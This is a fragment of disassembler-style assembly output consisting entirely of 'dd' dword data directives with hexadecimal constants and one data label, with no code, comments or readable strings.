dd 0C2A08B26h, 274C0F02h, 0C0999F71h, 5B6B915h, 0F2E5E458h
dd 50C0206Bh, 0F00010A0h, 74713045h, 0B03FDB13h, 0E7D11E80h
dd 0A7D2016Ah, 0E06B93C1h, 960663D5h, 0C3D9EC1Bh, 8CC6771h
dd 0C534D0F5h, 9D7DD3CFh, 0ED00B377h, 0E717E18Eh, 1C6F5EB8h
dd 80A32513h, 71E47731h, 72006037h, 7C1E1B44h, 613267h
dd 0C67DF459h, 0DE935C7h, 0ECD91200h, 0FFAD2641h, 0EBE70E57h
dd 74C0E666h, 4F9D52Bh, 81BC000h, 61240D93h, 9F7D0C9Dh
dd 0E69965A8h, 6884B400h, 3A37D7CBh, 67C00570h, 42B28E13h
dd 3822D8A8h, 0B97588A0h, 0A94B6EE4h, 0DF063000h, 3B112D08h
dd 378044F2h, 0EC4BF994h, 0D90060C5h, 6E964682h, 487197h
dd 694EA26Ch, 3CBD5C20h, 0C8C76A00h, 9FFED92Fh, 24B37DF3h
dd 0A67B77h, 100EFFB9h, 0AF1EBA26h, 0D9009F65h, 0FE130BDDh
dd 67A70019h, 0D112D8CBh, 5BFAE94Fh, 0DB032B74h, 43E03615h
dd 18C48879h, 32100025h, 1C78169Fh, 77E41117h, 8D261203h
dd 0A706CE94h, 6B5D00CFh, 37E35B0Eh, 0F720AF60h, 8E153088h
dd 160D501Ch, 381D201Eh, 1AEB2E0h, 78F049D0h, 8C977539h
dd 30168009h, 0D0651FD2h, 614E8007h, 8AAD9866h, 11FB1714h
dd 11D2328h, 0EFBAD0ADh, 0DD000E70h, 2653D064h, 0CC00D51Dh
dd 21911104h, 160870B5h, 937B86h, 99E79B74h, 39C07E17h
dd 2103665Bh, 0FA4600F6h, 2226949Eh, 7B582BEAh, 75A826E2h
dd 3D8A281Eh, 26018486h, 0D33A46E5h, 7A8DA040h, 0EE4E00A7h
dd 75F4D5F7h, 1C64EF8Bh, 2D409030h, 6AE56B1h, 0A8EDB0Ch
dd 605F090Bh, 494D2019h, 4F0F9856h, 80D29EACh, 8F8C81BDh
dd 0EBAF068Ah, 0B89AE11Ah, 0D984E07h, 5D704F49h, 6D2AE9Ch
dd 0B4F51E15h, 284678A6h, 645DA702h, 27310B06h, 5DBC5710h
dd 0E3C73Ah, 0D9054478h, 0C56A774h, 630745A9h, 98008D49h
dd 9DBC3991h, 6BB60h, 1E08FCE5h, 0CD5D3F3Ch, 59169707h
dd 304D8E65h, 0D540FCh, 0D89D984Bh, 292E0F99h, 17675EE8h
dd 0D470E920h, 0F7EA12h, 9DDD9F93h, 0FD46A641h, 6B8E080Bh
dd 1B80006Fh, 994CBAh, 1D3F5E1Ch, 0B8D4F5BDh, 276E1A00h
dd 6192F78Dh, 4890FEh, 785E2EBh, 0ACE19996h, 2D5AD02h
dd 4815235Bh, 0E6890958h, 20B55364h, 60112A84h, 0A7E3F5BBh
dd 606044ACh, 3FEEF948h, 0B1BAFBFDh, 3C7FE380h, 0F633BEFEh
dd 3EBF5900h, 4BC0692Dh, 0C43A0584h, 0B1339C2h, 5F8012F8h
dd 20971199h, 778C092h
dd 0DEF281C0h, 0AC63E5h, 0A09F971Bh, 1A115277h, 0B019D728h
dd 0A1EAEB00h, 8F8D257h, 0D921020Bh, 5A2E7CF2h, 0BF12D848h
dd 81849F39h, 0FC91FAE5h, 0FC220E6Eh, 71EB111Dh, 701F4F29h
dd 50AE8C08h, 0A7C80F00h, 8146D0CAh, 9FB806A0h, 91763013h
dd 8AF8B155h, 0B4515040h, 0FE40607h, 226698D0h, 0ED2C1AA1h
dd 0FCA229D4h, 611824E9h, 0F0B608D0h, 316F3A10h, 0D058D900h
dd 5DE287C4h, 5E869500h, 7561ED23h, 0E4DCA5F2h, 800F6016h
dd 120474AFh, 91BF5E4h, 1CAAD00Ch, 535D0994h, 0ED2F0C00h
dd 0D8AEB03Eh, 9CAA14E4h, 16948800h, 8C916633h, 21D57A80h
dd 862A4DF7h, 0DB5944h, 4996D423h, 0A394EC30h, 28841354h
dd 0C8B31F00h, 5C887881h, 608A736Fh, 9CEDB81Eh, 2FF2D9A8h
dd 29FCEB53h, 297980F0h, 506F818h, 8D0CE59Ah, 0F943A39h
dd 0AAC8968h, 4C17F0h, 0C262E48Fh, 0ED4CF99Bh, 94550644h
dd 1211884h, 31D34329h, 0F04C6BADh, 2491C25Ah, 927A1205h
dd 9BD4AC00h, 7CF74870h, 0D6163A8Ch, 62250880h, 5F98075Dh
dd 0C5F61200h, 463A5902h, 0EBC42E2Ch, 40E118DEh, 0D200EAA3h
dd 7D133810h, 13CF02D4h, 4554023h, 0C8217818h, 6A002BF8h
dd 7CF67711h, 0AB7605h, 20723E56h, 0A85B8F36h, 0F5655F00h
dd 6EA4E79h, 8640777h, 0E71A9D5Ch, 1CBE4FF0h, 90DD55CFh
dd 1D68321Dh, 1F2C033Ch, 45A0A55Eh, 0DC0BA779h, 24A93F1h
dd 6C0FB0h, 0D865312h, 0E7904C9Bh, 49F5861h, 1AA7009Ah
dd 0A0809A8Ah, 27D1FA0h, 67811330h, 90653EA6h, 0BD1E1902h
dd 23209C9Eh, 5C1C7E10h, 2AA87140h, 98B75BA5h, 0EAA00AE4h
dd 3CA41725h, 4174CA19h, 850DF0F7h, 0BC12A207h, 90E91E8Dh
dd 44BC624h, 9AF41CEh, 592CC0E4h, 3F5475EAh, 0D3004890h
dd 9ABE68C2h, 195D67E0h, 58903A1Ah, 0D205C969h, 19D5B201h
dd 0CF2161BFh, 3FC20CBEh, 0CCA059AFh, 6661F409h, 0A5CD1E1Fh
dd 2298C345h, 4040B425h, 0EC6B9DF5h, 0B09EB83Fh, 5E731670h
dd 41340140h, 0A4DD630Ch, 0E7113C18h, 10D0479Fh, 0D37008EFh
dd 1FD0037Ah, 88B44E70h, 23E0F4B8h, 9F5848D8h, 4088D414h
dd 76856F03h, 0EA90CC5Dh, 1103CD52h, 1DE502C0h, 0BFABF85Ah
dd 14963E39h, 61C19C00h, 9401A28Fh, 2BC33B00h, 3E6B3563h
dd 48FC0Ch, 7DEBAEFBh, 0C0B47ABCh, 0C91ADB00h, 0DE6647E9h
dd 6BFB38C6h, 21175381h, 70A5F4FCh, 0E300643Eh, 0D426C50h
dd 0A8C646h, 3CB7C5EDh, 0C974495Bh, 8455AF1Eh, 0BE05F6C0h
dd 7E8BB2h, 2C57CDC8h, 63479C31h, 1D38E300h, 0ED19B1E6h
dd 56F21CC4h, 5FFEB0D2h, 0E174685Ah, 36C68700h, 1958C996h
dd 67160C75h, 0E8084D1Bh, 82A121C0h, 0C7CC1C9h, 960D9F60h
dd 3C001218h, 2641F644h, 0A4FFD5h, 59B10EE5h, 488C7B11h
dd 58C41900h, 21447CC8h, 30AD7ED2h, 2740C68Ah, 7500DA30h
dd 0D39A2BFh, 0E8323ABDh, 3621C092h, 0F3351F58h, 22646A00h
dd 0CE43DBF6h, 9C91040Ch, 803A8C61h, 137F8765h, 96A85767h
dd 0E885BC21h, 0EA79208Ch, 0E700F9C1h, 836C841Fh, 41956B8h
dd 0DD124DAEh, 7B17C1C3h, 5F419944h, 0D819A8A8h, 0BF10861Fh
dd 90C8322Ah, 1F413580h, 1C751E3Bh, 0C03E89D6h, 666957A2h
dd 1C18D0ABh, 4890ED40h, 9C5A1493h, 0C20688CBh, 28A9BC6Dh
dd 763EC880h, 105B8330h, 9F0119h, 9E3CBC97h, 0D64A29FBh
dd 0B632340Fh, 0D180DDD0h, 865D2D77h, 8AC80026h, 689B2C59h
dd 6738F562h, 43280B7h, 9007990Ch, 0F8A703D1h, 0F7954415h
dd 0CF9F51A0h, 7A41C71Dh, 0D5DF8E47h, 883F34D3h, 30807ECh
dd 51539457h, 0DD80FFCEh, 0ABFAC8BFh, 0A48DAD00h, 31A94D40h
dd 0C7D739E1h, 0B2A57B80h, 0C23C440Ch, 2FB90100h, 0AFD2C13Bh
dd 962900C5h, 5108030Fh, 0F201D1EBh, 487A1661h, 0E4D4972Dh
dd 74A7383h, 4391D839h, 298C2009h, 1900E21Bh, 696727F7h
dd 3D264ECCh, 1A00700Eh, 0C8B2AB15h, 740E4CE8h, 1825D3DFh
dd 7EC2F118h, 0F00C980Dh, 18E53010h, 7BB7A18h, 90008A7Bh
dd 0AFAE5D94h, 1654C91h, 80A77C13h, 0ECBFA924h, 5C0359C2h
dd 0CD92F650h, 0E01ACB65h, 7A1F7367h, 0EE110DD6h, 20887920h
dd 61C22E3Ah, 8E1B0A98h, 0C1806618h, 3181336h, 1C131F87h
dd 0CA86DC64h, 404CF111h, 0FD0DF428h, 2AFA370Ah, 191C905Fh
dd 15C9A358h, 43F0EF7h, 983D97F6h, 2D548126h, 0BF223539h
dd 0A67680B7h, 0CD6D2720h, 1F8F84Fh, 6938FA67h, 7091F70Fh
dd 87EA3F49h, 5C4E1800h, 0D15D6ACEh, 2E93001Ah, 7299EA36h
dd 0CDEE32C5h, 0D9540514h, 0E68A03C1h, 0E8E4683Dh, 0F61CC4D1h
dd 0B00700F5h, 796C40CBh, 287FE947h, 600F637Fh, 43F35D38h
dd 0C9D45B70h, 81EFD001h, 10805C6Fh, 6C2E5665h, 0C00EF76h
dd 53E362CCh, 3C5D3230h, 96A6B572h, 8AFC005Ah, 13618D77h
dd 87EBB00h, 9DB33AF8h, 3F4EF011h, 0A1BC458Ch, 0DE97B780h
dd 0D3920633h, 0C5480261h, 0D8C016F6h, 0C6FEC1h, 0C279847Ch
dd 15E8FE32h, 4B69200h, 93591E49h, 3730306Ah, 0E0416B38h
dd 58DA2E00h, 51F97A3Fh, 3E5FED8h, 23667811h, 44847CB7h
dd 0C5404E41h, 0CE7110BDh, 6F0BB414h, 0A0DD02A4h, 0A0B9EF3Bh
dd 4BEAD5ACh, 5E76003Dh, 0FB05FDFh, 0FF01D41Bh, 0E78D4FBBh
dd 33D91FF8h, 3BEFB440h, 1C50071h, 0BD009E8h, 2F07601Ch
dd 0F3F09B4Dh, 9E237921h, 7701E5ECh, 0E95A03Dh, 48D90C58h
dd 9D188889h, 38DA4F1Ch, 0F70091D2h, 0BACEB72h, 2CF40719h
dd 80F074FFh, 2BFDC7E7h, 23F7C32Ch, 16854803h, 5072B1E5h
dd 0C96A3D0h, 9D4F8C28h, 6F3A3818h, 7F619769h, 8002E00Fh
dd 88CEB719h, 4E5B1274h, 0F13200AFh, 3EE014BFh, 18698330h
dd 3E289888h, 0E4001CCCh, 60995E91h, 191FB6EEh, 7559D806h
dd 25F4CD28h, 247F03BCh, 0B31D9EFBh, 0AE651877h, 46019D9h
dd 11C5C3h, 35C47877h, 0FF61ACEFh, 9C2AD13Eh, 0D7817163h
dd 4EAA9422h, 74AA30h, 0ABFDFCD9h, 5CEB7F39h, 30F2E733h
dd 7783E0C5h, 60980095h, 5D39E2AAh, 4A0301E1h, 12CE4009h
dd 285DED14h, 19C85C0Ch, 6EC0A1E5h, 39FDEE10h, 0DDA9A26Fh
dd 6002340Ah, 0A38CFB60h, 663E2C5h, 0AAD76275h, 883B5898h
dd 88D0A008h, 7E9A90h, 2AA6F602h, 429889ACh, 4D7379C1h
dd 7C48F49Dh, 8EE5485h, 79A3608Fh, 0F65CF03Dh, 1184F1D0h
dd 0AC097E1Eh, 827335Fh, 0D761E045h, 48A1998Ch, 9C401ACCh
dd 5D49C3DAh, 979B9F78h, 9663800h, 0C181F624h, 109503ADh
dd 0FE07176Eh, 0B296A903h, 5C3EF0h, 1EEDAF31h, 7142891Fh
dd 61D82B3Bh, 0AAE1D59h, 89383981h, 0D3C2FCB4h, 50CD1181h
dd 0E281E9CCh, 58A9DB60h, 2F07F99h, 62C5CDD9h, 0BCA05159h
dd 0AE7081F3h, 0C4111660h, 40A8CE63h, 0B8C31038h, 3353493h
dd 437BC510h, 181C9467h, 864AD7F5h, 0DC203492h, 4AC15960h
dd 3B88ACC8h, 3F155CF4h, 4867A08Fh, 930D8015h, 10C00474h
dd 0B3D039BAh, 424F40D1h, 90925937h, 4E6D2C50h, 1D5D3C4Ch
dd 4434DC05h, 9D84037Fh, 0F5B050FFh, 4B0057E7h, 5C81F956h
dd 126BAE96h, 4A5AEE0Dh, 0F9407A34h, 43FF03CAh, 70204068h
dd 0E3999D06h, 218A0E6h, 0FF6F01C1h, 640A8447h, 0D8597003h
dd 822014ADh, 123C5437h, 0BCE0F114h, 0EE094822h, 0EE4D998h
dd 3D40B8A8h, 5A700157h, 0D7F6B17Ch, 8C8024A6h, 0EF4CACE8h
dd 99188510h, 0F2680C04h
dd 8974521h, 4231C424h, 9D7888F5h, 40FD04A5h, 18043784h
dd 17728C01h, 1415D074h, 0C0EC20A8h, 9395FE29h, 0E71CE664h
dd 6900DD7Fh, 87AD8A32h, 307800D3h, 2FF29A9Dh, 720C8BE2h
dd 615441DDh, 0F033DDEh, 0AFEEA880h, 303A1138h, 0ED666D01h
dd 0E9267204h, 302E170h, 0F1EC569h, 12C32731h, 0A90A62A0h
dd 52083061h, 91801704h, 14517D3Fh, 34E6B577h, 0AAB38702h
dd 0C0CDED92h, 5A3F84h, 81C3E94Eh, 4C7D5088h, 69F58703h
dd 0CAC1E70h, 12663998h, 0F000BF50h, 876A84A5h, 1F596A8h
dd 105FBAF1h, 0F40B7BDEh, 3A986603h, 20EE192Ch, 37537705h
dd 4832CC1h, 3AB7F900h, 5C090800h, 9C1DF603h, 3BB50002h
dd 0A535432Ah, 0A0002553h, 0D41ABC0Ch, 0A896844Bh, 74C0D9C4h
dd 62741327h, 0E16C205Ah, 0DF0978C3h, 8277F7C5h, 686674DCh
dd 0C62EECECh, 31574279h, 4F6DE200h, 59174525h, 90300AEh
dd 0C3142BF8h, 7507281Bh, 0BA26C298h, 0CB0E8020h, 412C18F5h
dd 2F9E415Ah, 9701EB7Dh, 4CC7DDFDh, 84CC870Dh, 2C94A8D4h
dd 23C0A862h, 0B134001Fh, 2DD09077h, 0B50270A8h, 15788BBAh
dd 0ECBE003Ah, 1A0C894Eh, 0B12AD0C6h, 0FF4F0BF2h, 0F881EB57h
dd 748C073Dh, 2018A7E0h, 0B960E66Eh, 158D00D7h, 0CEE47F0h
dd 0EB741797h, 0D3818060h, 9A8D4Eh, 0F7FA4694h, 36E15CC5h
dd 1C24EC4Ah, 0C27CF81h, 21007422h, 0C38BAE3Ah, 0D90EB291h
dd 92B32482h, 86EB0820h, 78D51DB5h, 0B12C980Dh, 0BA0582C5h
dd 65233A84h, 57D58440h, 28920729h, 1DCDFB8h, 2CD77B1Bh
dd 0D14E5B7Fh, 35A98771h, 0DD276E13h, 0C9FD4AD0h, 7B880050h
dd 0F5BACD85h, 0C5507E38h, 0E201C4C4h, 0E1D3E636h, 0B0EC87C8h
dd 7CA112D0h, 8268300Bh, 9F1BE7DAh, 80A175CFh, 391E8h
dd 7637F2Eh, 0FE278ED4h, 6C0F004h, 6CA2FC7Ah, 0AC18F525h
dd 0A6129D49h, 842023C5h, 1A76A3h, 672BB071h, 17DBC2BDh
dd 5A096803h, 3FEFCF4Ch, 0E1E00529h, 711F2D99h, 1300FA7Dh
dd 18AE3943h, 141B11CDh, 9C41A5A3h, 21167922h, 7C0ED094h
dd 3604A742h, 5B054BB0h, 0AE740081h, 0C359FFFBh, 0E1247FFCh
dd 14880C8Bh, 8D48606Bh, 8F46F024h, 0DC006922h, 9218DDFh
dd 2465987Fh, 4B9476EEh, 0EE55C20h, 53017B48h, 70B9F916h
dd 20F48063h, 9C774813h, 874B29A0h, 0DF45BB00h, 2A57C641h
dd 0ECCA01BAh, 0F034196Ch, 0C5619273h, 8C1E1030h, 450A0105h
dd 5F3E629Ah, 3AE0507Dh, 277BA9DFh, 3C9220F0h, 39C0D3F4h
dd 0CC02C43Eh, 0BE9A0056h, 0E949AFFEh, 60FA3C14h, 176E5503h
dd 0CD2EFA7h, 181D4FA0h, 70C61F9h, 682004D8h, 1607C70h
dd 8A98C391h, 0E446190Ch, 0C88B663Ah, 0AD9A426h, 0DE08E72Fh
dd 37F401EDh, 0F170C8AFh, 3A4C3485h, 123C784Ch, 20036E84h
dd 0DB7C16EBh, 7D490009h, 4B98B041h, 500EF79Ch, 8AF8D304h
dd 7A006878h, 74D18FB0h, 0AF870010h, 940D26ACh, 9CA8E9D4h
dd 69009BA7h, 0F5F1737Bh, 0FDE656Dh, 0FA117E79h, 87E50340h
dd 70183647h, 3D59CBD0h, 513A1677h, 760820E6h, 0A4BA5E42h
dd 5D8CE112h, 0AE23A000h, 602DCB5Fh, 93822968h, 95009C86h
dd 50E85E5Dh, 14187FFh, 0AB1C1B6Fh, 0C80BC2F5h, 2CB0B3E4h
dd 20D99826h, 342CC59Fh, 7FD04C06h, 76CD3C89h, 3FCEF10Bh
dd 84884007h, 2DDCA40Dh, 0F46F141Ch, 8A3DD0C7h, 0B905BCD0h
dd 7F790025h, 21615F51h, 6E240B47h, 465E744Eh, 4E8A00B6h
dd 3879FBDAh, 0E17A0977h, 20855FEDh, 0D1088EAh, 0C9914B67h
dd 0E72DEF20h, 93790039h, 707DC2F3h, 547EF78Eh, 2401252h
dd 0F0CE8DB2h, 0D6001C3Fh, 8A568D29h, 7B6E3AE3h, 5C2812B7h
dd 80940F7Dh, 0C360AC40h, 2B636562h, 0C0244981h, 0B1A0E97Bh
dd 430D8C70h, 0F8B46621h, 91C66800h, 3FFF5FA7h, 15323856h
dd 93200228h, 159D523h, 0EC1412CFh, 8216F70Eh, 3E919C99h
dd 0C0904355h, 0C0BBEE66h, 98BCC339h, 0FF004C4Fh, 8E2EE152h
dd 13624072h, 81EA6884h, 10C9051Ch, 310C99C3h, 2C58DA8Ah
dd 0A952D0B4h, 388B3D37h, 0C2FBCF30h, 7F391D48h, 555B8C2Dh
dd 0EC00F649h, 19405A54h, 29DD458Bh, 0E18B543h, 0D1401EEBh
dd 60334AB0h, 19076492h, 5CAC0AA3h, 3BA026F7h, 251DD4h
dd 0E61283E7h, 89076B8Fh, 9318CA00h, 0E0314A4Eh, 86400B34h
dd 0E40063A5h, 9D895767h, 4302A41Eh, 85B8B518h, 44F888E1h
dd 88378F14h, 217229Ch, 3290C8D4h, 7848C61Bh, 3C78C5DAh
dd 0C6BBB09h, 72D08412h, 0E62C088h, 779C4294h, 8ECC4E6Ah
dd 0EA229A04h, 14E46B71h, 0E6AE0C00h, 0F1648A36h, 0D75F0013h
dd 0DFCFD268h, 0AD3B880Dh, 4BAA3FF6h, 58E88C02h, 629C875Ch
dd 78D468C5h, 0C0F83C87h, 4B96B07Bh, 91F94C21h, 24200079h
dd 0ED9D0D8Fh, 4528B0D1h, 0BF020EFh, 48E80C40h, 48001CFEh
dd 0CEED174Eh, 5B50BDACh, 9C4C0168h, 398F0050h, 0E4D92BFDh
dd 1C7348F4h, 0E7AC613Dh, 704F9D14h, 0A4EE9D31h, 0B0D15E20h
dd 8F600C40h, 0C328CA73h, 0C9C6C500h, 0DDA75A01h, 577A0350h
dd 9FE0ADE7h, 833EF2E1h, 1E708BBAh, 3F809840h, 0D8090065h
dd 0ACCF39AEh, 9C00F717h, 0FCF6D44Eh, 88A043h, 0B481334Ch
dd 14C5BED7h, 8264C700h, 0F458F6F3h, 39191C3Fh, 1E610074h
dd 469F753h, 7E003E7Eh, 0FE289E63h, 0FA5289h, 0CDB5DABEh
dd 845780A5h, 42083E00h, 1CC34C79h, 4BBB02BFh, 72B50321h
dd 0DE5F48C0h, 1297C700h, 0A0B413C3h, 0C1490042h, 92C298ECh
dd 0E07CC3Bh, 0C448D174h, 8244808Fh, 8C7D79h, 5B6BA096h
dd 23FB81ACh, 3FCDF500h, 73010684h, 165F0091h, 0BCEBADEh
dd 133025A1h, 511580A6h, 919D0029h, 0AB216C33h, 3FEAE149h
dd 80618838h, 0AD13AC43h, 20D3676h, 0C39ED7B5h, 0ED431A7Fh
dd 0BB926097h, 0BC07A487h, 8C483BEBh, 0AB440BC0h, 0F73C3A4Bh
dd 469E00FBh, 0BBF64F3Dh, 60039275h, 2654CDA2h, 0A19004Bh
dd 6EA941FAh, 0F800CF81h, 0FFD229F5h, 6D4F9DFh, 2153C28Fh
dd 4A007189h, 68E3F770h, 98D74384h, 22ED07C3h, 40FE9CA3h
dd 7448A5EEh, 0D13F6600h, 0A22C72C2h, 51B25CC3h, 73A3F000h
dd 56EFD89Eh, 293DE932h, 0D07510E6h, 44279340h, 8A20ACD2h
dd 11EA4265h, 0DB21CC29h, 5175F20Ch, 8E7F442Eh, 408FC744h
dd 4000ED3h, 0E6BF084Bh, 26C0CAh, 375D16EDh, 0FB355766h
dd 0A2AF9700h, 83A080E0h, 9018003Fh, 0F02604CEh, 0F300B9F5h
dd 4DE35156h, 2F01FEh, 2B7C03D9h, 58C974CCh, 0F5010EFCh
dd 6B58ACBh, 6CC40278h, 2815003Eh, 0DE6EA6A5h, 0AF00B3E3h
dd 4F3CA36Bh, 23D250h, 0B2BD4A03h, 5736D5ACh, 70C12707h
dd 0DFA70D91h, 0DB942BD1h, 70E90CF0h, 0A91A0069h, 0E2AFDADEh
dd 0EC50E524h, 1600A8C0h, 0AB8E7753h, 1C309C3Ah, 418BF898h
dd 310B8C6Dh, 79B880A0h, 51EB97FCh, 126F39AFh, 671028FAh
dd 28D60087h, 8CFAEE3Eh, 490097A0h, 6D89F94h, 872A5h, 3A223314h
dd 2DA95383h, 0DAB850Fh, 6146AE01h, 6F6E57Ah, 28805FFDh
dd 0CF04CD44h, 0D2000C4Eh, 8947D437h, 946B5Ch, 15983513h
dd 2BF3D74Bh, 0A2001075h, 6609F4FBh, 0CEB73Ah, 14D81563h
dd 0DD7A1CB0h, 0DE210B01h, 0E1E67B0Ch, 9193E4h, 0DAA02A5Dh
dd 742EEDC7h, 0CA2B7900h, 0D1AF9D8Ch, 68910037h, 0F077B36Eh
dd 10721723h, 3EC25400h, 99043F0Ch, 3473003Ch, 31BA13F7h
dd 98001655h
dword_4C92F8 dd 0CDD87F88h, 8ED2B9h, 8B0AAE85h, 1A340C80h, 4DB6A300h
dd 0E30F6879h, 31E600D7h, 0A04626B9h, 3E00A199h, 65145638h
dd 12C507Ch, 0AC9AB1B0h, 0D047E59Eh, 6F0AE05Fh, 8475E726h
dd 3DE05614h, 0B760808Dh, 2597915h, 0A63B00F6h, 29CA88ACh
dd 66001163h, 12B172BFh, 0FA8FB0F8h, 99A81C9Fh, 0D12600D8h
dd 8E1FE53Bh, 0C8F77F17h, 1A3D09h, 0B3E4BC50h, 171D005Dh
dd 0C9A97EB0h, 327D29AFh, 573AD00h, 0C7463996h, 0F41F3FCAh
dd 0C18DEC07h, 3A07F56h, 7128E80Fh, 9A468E00h, 0EFBA4575h
dd 3D98762Ch, 0AD3010BFh, 5C9BA010h, 0A9F7461Fh, 87E22042h
dd 222840EDh, 905D48E3h, 0C982268Fh, 0C406024h, 3C01F276h
dd 10392E91h, 47F5BD2Fh, 0E96AF4h, 0F8B9120Fh, 6909ADCAh
dd 1E00F97Fh, 93C6F320h, 3C251C7Eh, 9C8016AFh, 6BE0E1A3h
dd 0CB01A4D4h, 0C219D8F6h, 72DC5D81h, 0A24A26F8h, 308A05C7h
dd 74448013h, 0AF4CEF32h, 0A5D64085h, 1F4C0500h, 0ED3B7595h
dd 9068C7B0h, 77C4CC01h, 0AC74AD00h, 237C94F9h, 1EF6EC2Dh
dd 47F14749h, 0F4FE80BAh, 0D8D48051h, 0D6001D91h, 224AEC53h
dd 0ECA9D788h, 3EDE0F90h, 79E0C59Fh, 4E82D971h, 80255B0Eh
dd 5E070039h, 37499Ah, 0E86D7F04h, 4456749Dh, 347CE600h
dd 0BD81A03Fh, 0B8A72E68h, 0F3F90F4Ah, 582DE2C3h, 14A6D9A8h
dd 8B002E77h, 0C321D451h, 3509AAh, 0EE302072h, 0CB617AB9h
dd 5943101h, 0E9C7C375h, 0C63BECh, 0A5D781B8h, 0D0688B0Dh
dd 7B622000h, 654A0FA1h, 3AC80051h, 0ABBD7071h, 0E0397D14h
dd 90B28012h, 8257ED11h, 0A1B13E0Dh, 25284A00h, 0F4C7F87Eh
dd 9A20D200h, 0DB5CB3D4h, 0FDD90040h, 0C8FECB9Ch, 0BB07DFA5h
dd 0E68645AEh, 5DEDBC40h, 0F0390358h, 0E73615D6h, 616A1DE8h
dd 0E5779DF0h, 4511AF07h, 5E514D33h, 8047F940h, 447D8F02h
dd 0B87000DCh, 1DBA6FB4h, 311F0D95h, 0F7837E98h, 0E8A7ED22h
dd 69DD303h, 0FF274056h, 8100118Dh, 0C26E5D24h, 30AC5A15h
dd 2C615B7Ah, 0A00F109h, 0B9EF53BAh, 0DF210Ch, 0DBFE7D3Bh
dd 50D27065h, 78A8900h, 58711455h, 21601E88h, 87E4C012h
dd 0D6F9F7E9h, 2A90ED00h, 0AE8C0A59h, 0B845F69Eh, 37C81E84h
dd 1AAD4043h, 0E01ED6EEh, 30FEBE00h, 0D31BBF5Ch, 0C2A6000Eh
dd 0B8171AF0h, 4900FAE2h, 33DB46A0h, 48E30166h, 0BC541979h
dd 0D2A5001Bh, 58CC88E7h, 5B0FF9Bh, 0F4BB200h, 6D5614C4h
dd 596600EFh, 7C1140C1h, 5239F909h, 14C48h, 9D23792Eh
dd 0E2A87Bh, 0B418FE58h, 6FAFDE5h, 0F3BF8C02h, 608F7345h
dd 0CB0F34h, 0D55CD029h, 15E3399Dh, 9486CC00h, 33F81E20h
dd 0D2FAB3h, 78DCF44Ah, 0B263F97Eh, 7453450Fh, 0D8409D8Fh
dd 0B0E1B69Ah, 0F3C10051h, 2CC20949h, 0FD03ABEBh, 0F6BCE516h
dd 3DEEB86Dh, 2AF497h, 0DF7EA920h, 4FE5B1FCh, 65B5D14h
dd 3CAC00E4h, 0E2024763h, 92D300D2h, 5A170A21h, 0B57EF295h
dd 3B88FF02h, 407B3A5Fh, 0E86AADF2h, 9FDB0134h, 4A06134Eh
dd 753CF4B3h, 3700C970h, 0ED18C156h, 788C0Dh, 0B795BFB6h
dd 5CFA396Fh, 4FEBA700h, 0ABC1E971h, 1526008Dh, 0F79C22DDh
dd 0E42CB718h, 0B12CAC5Bh, 138B9639h, 30F47C00h, 6F310AE5h
dd 62401074h, 0DB275FF2h, 175884FCh, 0D3A40059h, 0A27F406Eh
dd 0CC9045h, 9C778EB9h, 0A46C2B9Eh, 7EFEAE00h, 932EB324h
dd 0C86D1E08h, 83803099h, 1C00A7B5h, 76260C9Fh, 1D758Ah
dd 0ECA19DEAh, 80C13E42h, 12004FF4h, 43AEC21Ah, 422A408h
dd 0ACE55AA0h, 475480D4h, 3D009A50h, 0D135FEA1h, 4813EB6Bh
dd 0C80100EEh, 3132F8ADh, 0FE866063h, 90DC4E00h, 41792208h
dd 0E5ED004Bh, 0BBC420BAh, 2BF08407h, 76DA0D3Fh, 3056AB3Fh
dd 7949FAFBh, 0D99C0C28h, 0EA982325h, 2D2FECE5h, 8157A03Fh
dd 9BD2E16h, 7DE4D95Fh, 662007Ah, 0DC840FCDh, 0AF0048F9h
dd 0E4E035E9h, 73FCF378h, 0DDDB00ABh, 11881A92h, 2402C29Eh
dd 8B22ED23h, 0B50C857h, 2D9D00F4h, 441F276Ch, 21E190Ah
dd 9100F3CFh, 81E00763h, 0B0430E3Ch, 3141A14Fh, 606D3DBFh
dd 62003844h, 7B2FD084h, 95C647h, 6C23E902h, 68659B10h
dd 40B46200h, 0EF4584D6h, 6FDB00C5h, 2C4A230Fh, 0B66098CBh
dd 1142DF48h, 0CDC1031Ah, 376C4BBFh, 51CB68E0h, 0F524EE38h
dd 5C0045F6h, 0E4392AF1h, 2472FD57h, 0E933E8Fh, 337BB88h
dd 0D784B92Ch, 25BD7B88h, 3200A7E0h, 4E86E3FCh, 7D6F73h
dd 6E072EBEh, 66DAD417h, 0C111FD00h, 1A7C3525h, 1FF7073Dh
dd 0CE43189Ch, 8AE53C2h, 0A1C6A801h, 0C73EEC66h, 3AA4B4BDh
dd 8BC18064h, 0C172831h, 0B5188900h, 0EDE33B92h, 74D9E86Ch
dd 0E46703BEh, 0AC070156h, 3CD14880h, 6800E873h, 28B7C8ADh
dd 29C4E9h, 7C61FB16h, 0D013F1Ch, 0CAD7C606h, 2170B942h
dd 5404AFFh, 177A67D9h, 40C63C4Ch, 90F87144h, 2D2CEF4Bh
dd 0A1414C89h, 0BC43BC2Eh, 5EEDB036h, 0EBFC75h, 0CD199079h
dd 15AEE7FEh, 55B9DE00h, 28B60A85h, 0DD7A00A1h, 0C1F6A3EEh
dd 82016526h, 2A993021h, 0C2A63EE0h, 5AFE0E84h, 0C620C09Fh
dd 525C03F2h, 0BAAC6000h, 0AAB7559Ch, 7B2F0D0h, 913EE101h
dd 0C107FECBh, 6640AE94h, 71C0689Ch, 0F1A39501h, 26CA257Fh
dd 29730h, 0D1CBA0DEh, 287BDCB0h, 0C8AE5F30h, 4B9390h
dd 348DFB12h, 91F241ACh, 264A0800h, 5C9CF850h, 3092007Dh
dd 70BBC9CFh, 96609356h, 0D50EF7B0h, 0C0AEF265h, 0DF3A1110h
dd 0AC0086C6h, 582E9B0Bh, 8B6E01h, 0C37CFEC7h, 0DD2DEE21h
dd 291C7112h, 5DBAA804h, 13F9C541h, 0F803E933h, 0A33C6D1Fh
dd 0B4ED80D8h, 7CAEA508h, 6A7B005Ah, 49737628h, 9E01AB2Ah
dd 44AC01DCh, 0E070407Fh, 16F93096h, 0DF381448h, 2CA51C18h
dd 0EFC610h, 0CF6932F5h, 40E74989h, 7EFBA400h, 0A80BD20Ch
dd 4A13B4Ch, 98E4EA00h, 6D091FCFh, 25546C13h, 285AC00h
dd 906F0E06h, 16F304A0h, 0A6E172h, 733A4A99h, 191D045Ch
dd 0C08287BEh, 0D6ACF0F0h, 1E580C00h, 6673490Eh, 4CE8CAh
